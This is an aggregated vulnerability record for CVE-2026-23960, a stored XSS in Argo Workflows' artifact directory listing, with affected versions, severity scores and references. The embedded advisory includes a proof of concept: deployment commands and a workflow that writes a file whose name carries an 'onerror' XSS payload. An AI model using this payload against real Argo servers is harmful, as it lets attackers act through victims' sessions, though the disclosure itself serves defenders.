{"id":"CVE-2026-23960","aliases":["CVE-2026-23960","GHSA-cv78-6m8q-ph82","BIT-ARGO-WORKFLOWS-2026-23960","GO-2026-4350"],"related":["CGA-994m-xqq5-qxw4"],"kind":"vulnerability","state":"published","title":"Argo Workflows affected by stored XSS in the artifact directory listing","summary":"Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Prior to versions 3.6.17 and 3.7.8, stored XSS in the artifact directory listing allows any workflow author to execute arbitrary JavaScript in another user’s browser under the Argo Server origin, enabling API actions with the victim’s privileges. Versions 3.6.17 and 3.7.8 fix the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Prior to versions 3.6.17 and 3.7.8, stored XSS in the artifact directory listing allows any workflow author to execute arbitrary JavaScript in another user’s browser under the Argo Server origin, enabling API actions with the victim’s privileges. Versions 3.6.17 and 3.7.8 fix the issue.","source":"cvelist"},{"lang":"en","text":"### Summary\nStored XSS in the artifact directory listing allows any workflow author to execute arbitrary JavaScript in another user’s browser under the Argo Server origin, enabling API actions with the victim’s privileges.\n\n### Details\nThe directory listing response in `server/artifacts/artifact_server.go` renders object names directly into HTML via `fmt.Fprintf` without escaping. Object names come from `driver.ListObjects(...)` and are attacker‑controlled when a workflow writes files into an output artifact directory.\n\nhttps://github.com/argoproj/argo-workflows/blob/9872c296d29dcc5e9c78493054961ede9fc30797/server/artifacts/artifact_server.go#L194-L244\n\n### PoC\n1. Deploy Argo Workflows:\n```\nkubectl create ns argo\nkubectl apply --server-side -f manifests/base/crds/full\nkubectl apply --server-side -k manifests/quick-start/postgres\n```\n2. Port‑forward Argo Server:\n```\nkubectl -n argo port-forward deploy/argo-server 2746:2746\n```\n3. Create the PoC workflow:\n```yml\ncat > /tmp/argo-xss.yaml <<'EOF'\napiVersion: argoproj.io/v1alpha1\nkind: Workflow\nmetadata:\n  generateName: xss-artifact-test-\nspec:\n  entrypoint: main\n  templates:\n  - name: main\n    container:\n      image: alpine\n      command: [sh, -c]\n      args:\n      - |\n        mkdir -p /tmp/artifacts\n        touch '/tmp/artifacts/xss\"><img src=x onerror=\"alert(document.domain)\">.html'\n    outputs:\n      artifacts:\n      - name: dir\n        path: /tmp/artifacts\n        archive:\n          none: {}\nEOF\n```\n```\nkubectl -n argo create -f /tmp/argo-xss.yaml\n```\n4. Wait for completion:\n```\nkubectl -n argo get wf -w\n```\n5. Get the node ID:\n```\nkubectl -n argo get wf <wf-name> \\\n  -o jsonpath='{range .status.nodes.*}{.id}{\"\\t\"}{.displayName}{\"\\n\"}{end}'\n```\n6. Open the listing:\n`https://localhost:2746/artifact-files/argo/workflows/<wf-name>/<node-id>/outputs/dir/`\n\n<img width=\"1220\" height=\"349\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9d859826-c7cd-403b-988e-74695552944b\" />\n\n### Impact\n- The attacker creates a workflow that produces a HTML artifact that contains a HTML file that contains a script which uses XHR calls to interact with the Argo Server API.\n- The attacker emails the deep-link to the artifact to their victim. The victim opens the link, the script starts running.\n\nAs the script has access to the Argo Server API (as the victim), so may do the following (if the victim may):\n- Read information about the victim’s workflows.\n- Create or delete workflows.","format":"markdown","source":"ghsa"},{"lang":"en","text":"Argo Workflows affected by stored XSS in the artifact directory listing in github.com/argoproj/argo-workflows","format":"markdown","source":"go"},{"lang":"es","text":"Argo Workflows es un motor de flujo de trabajo de código abierto nativo de contenedores para orquestar trabajos paralelos en Kubernetes. Antes de las versiones 3.6.17 y 3.7.8, un XSS almacenado en el listado del directorio de artefactos permite a cualquier autor de flujo de trabajo ejecutar JavaScript arbitrario en el navegador de otro usuario bajo el origen del servidor Argo, lo que permite acciones de API con los privilegios de la víctima. Las versiones 3.6.17 y 3.7.8 solucionan el problema.","source":"nvd"}],"published":"2026-01-21T22:00:38.000Z","modified":"2026-09-10T03:50:32.898Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":7.3,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":7.3,"rating":"HIGH"},{"scorer":"redhat-SADP","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H","score":7.1,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","score":5.4,"rating":"MEDIUM"},{"scorer":"Bitnami Vulnerability Database","scheme":"rating","rating":"HIGH"}],"cwes":["CWE-79"],"affected":[{"ranges":[{"version":"< 3.6.17","status":"affected"},{"version":">= 3.7.0, < 3.7.8","status":"affected"}],"vendor":"argoproj","product":"argo-workflows","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","package":"rhoai/odh-data-science-pipelines-argo-argoexec-rhel8","cpe":"cpe:/a:redhat:openshift_ai","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","package":"rhoai/odh-data-science-pipelines-argo-argoexec-rhel9","cpe":"cpe:/a:redhat:openshift_ai","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","package":"rhoai/odh-data-science-pipelines-argo-workflowcontroller-rhel8","cpe":"cpe:/a:redhat:openshift_ai","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","package":"rhoai/odh-data-science-pipelines-argo-workflowcontroller-rhel9","cpe":"cpe:/a:redhat:openshift_ai","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","package":"rhoai/odh-ml-pipelines-api-server-v2-rhel8","cpe":"cpe:/a:redhat:openshift_ai","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","package":"rhoai/odh-ml-pipelines-api-server-v2-rhel9","cpe":"cpe:/a:redhat:openshift_ai","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","package":"rhoai/odh-ml-pipelines-driver-rhel8","cpe":"cpe:/a:redhat:openshift_ai","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","package":"rhoai/odh-ml-pipelines-driver-rhel9","cpe":"cpe:/a:redhat:openshift_ai","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","package":"rhoai/odh-ml-pipelines-launcher-rhel8","cpe":"cpe:/a:redhat:openshift_ai","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","package":"rhoai/odh-ml-pipelines-launcher-rhel9","cpe":"cpe:/a:redhat:openshift_ai","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","package":"rhoai/odh-ml-pipelines-persistenceagent-v2-rhel8","cpe":"cpe:/a:redhat:openshift_ai","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","package":"rhoai/odh-ml-pipelines-persistenceagent-v2-rhel9","cpe":"cpe:/a:redhat:openshift_ai","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","package":"rhoai/odh-ml-pipelines-scheduledworkflow-v2-rhel8","cpe":"cpe:/a:redhat:openshift_ai","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","package":"rhoai/odh-ml-pipelines-scheduledworkflow-v2-rhel9","cpe":"cpe:/a:redhat:openshift_ai","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"3.6.17"}],"ecosystem":"Go","package":"github.com/argoproj/argo-workflows/v3","purl":"pkg:golang/github.com/argoproj/argo-workflows/v3","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"3.7.0","status":"affected","fixed":"3.7.8"}],"ecosystem":"Go","package":"github.com/argoproj/argo-workflows/v3","purl":"pkg:golang/github.com/argoproj/argo-workflows/v3","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","lastAffected":"2.5.3-rc4"}],"ecosystem":"Go","package":"github.com/argoproj/argo-workflows","purl":"pkg:golang/github.com/argoproj/argo-workflows","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/argoproj/argo-workflows","purl":"pkg:golang/github.com/argoproj/argo-workflows","source":"go"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/argoproj/argo-workflows/v2","purl":"pkg:golang/github.com/argoproj/argo-workflows/v2","source":"go"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"3.6.17"},{"type":"semver","introduced":"3.7.0","status":"affected","fixed":"3.7.8"}],"ecosystem":"Go","package":"github.com/argoproj/argo-workflows/v3","purl":"pkg:golang/github.com/argoproj/argo-workflows/v3","source":"go"},{"ranges":[{"status":"affected","fixed":"3.6.17"},{"status":"affected","introduced":"3.7.0","fixed":"3.7.8"}],"vendor":"argoproj","product":"argo_workflows","cpe":"cpe:2.3:a:argoproj:argo_workflows:*:*:*:*:*:go:*:*","source":"nvd"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"3.6.17"},{"type":"semver","introduced":"3.7.0","status":"affected","fixed":"3.7.8"}],"ecosystem":"Bitnami","package":"argo-workflows","purl":"pkg:bitnami/argo-workflows","source":"bitnami"}],"references":[{"url":"https://github.com/argoproj/argo-workflows/security/advisories/GHSA-cv78-6m8q-ph82","tags":["advisory","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd","bitnami"]},{"url":"https://github.com/argoproj/argo-workflows/commit/159a5c56285ecd4d3bb0a67aeef4507779a44e17","tags":["fix","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd","bitnami"]},{"url":"https://github.com/argoproj/argo-workflows/blob/9872c296d29dcc5e9c78493054961ede9fc30797/server/artifacts/artifact_server.go#L194-L244","tags":["product","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd","bitnami"]},{"url":"https://github.com/argoproj/argo-workflows/releases/tag/v3.6.17","tags":["article","product","release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd","bitnami"]},{"url":"https://github.com/argoproj/argo-workflows/releases/tag/v3.7.8","tags":["article","product","release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd","bitnami"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-23960","tags":["vdb-entry","web","x-refsource-redhat"],"sources":["cvelist","nvd","bitnami"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2431881","tags":["issue-tracking","web","x-refsource-redhat"],"sources":["cvelist","nvd","bitnami"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-23960.json","tags":["web","x-sadp-csaf-vex"],"sources":["cvelist","nvd","bitnami"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23960","tags":["advisory","web"],"sources":["ghsa","go","bitnami"]},{"url":"https://github.com/argoproj/argo-workflows","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"no","technicalImpact":"total","date":"2026-01-22T15:10:53.206Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-23960","url":"https://www.cve.org/CVERecord?id=CVE-2026-23960","licence":"CVE Terms of Use","modified":"2026-07-15T01:17:42.174Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-cv78-6m8q-ph82","url":"https://github.com/advisories/GHSA-cv78-6m8q-ph82","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:32.898Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-4350","url":"https://pkg.go.dev/vuln/GO-2026-4350","licence":"CC-BY-4.0","modified":"2026-02-04T03:15:30.807Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-23960","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23960","licence":"Public domain","modified":"2026-07-15T02:18:46.530Z"},{"source":"bitnami","name":"Bitnami Vulnerability Database","id":"BIT-ARGO-WORKFLOWS-2026-23960","url":"https://osv.dev/vulnerability/BIT-ARGO-WORKFLOWS-2026-23960","licence":"Apache-2.0","modified":"2026-09-08T08:45:37.205Z"}],"updatedAt":"2026-11-25T22:59:13.028Z","epss":{"score":0.00414,"percentile":0.37727,"date":"2026-12-02T12:00:21.000Z"}}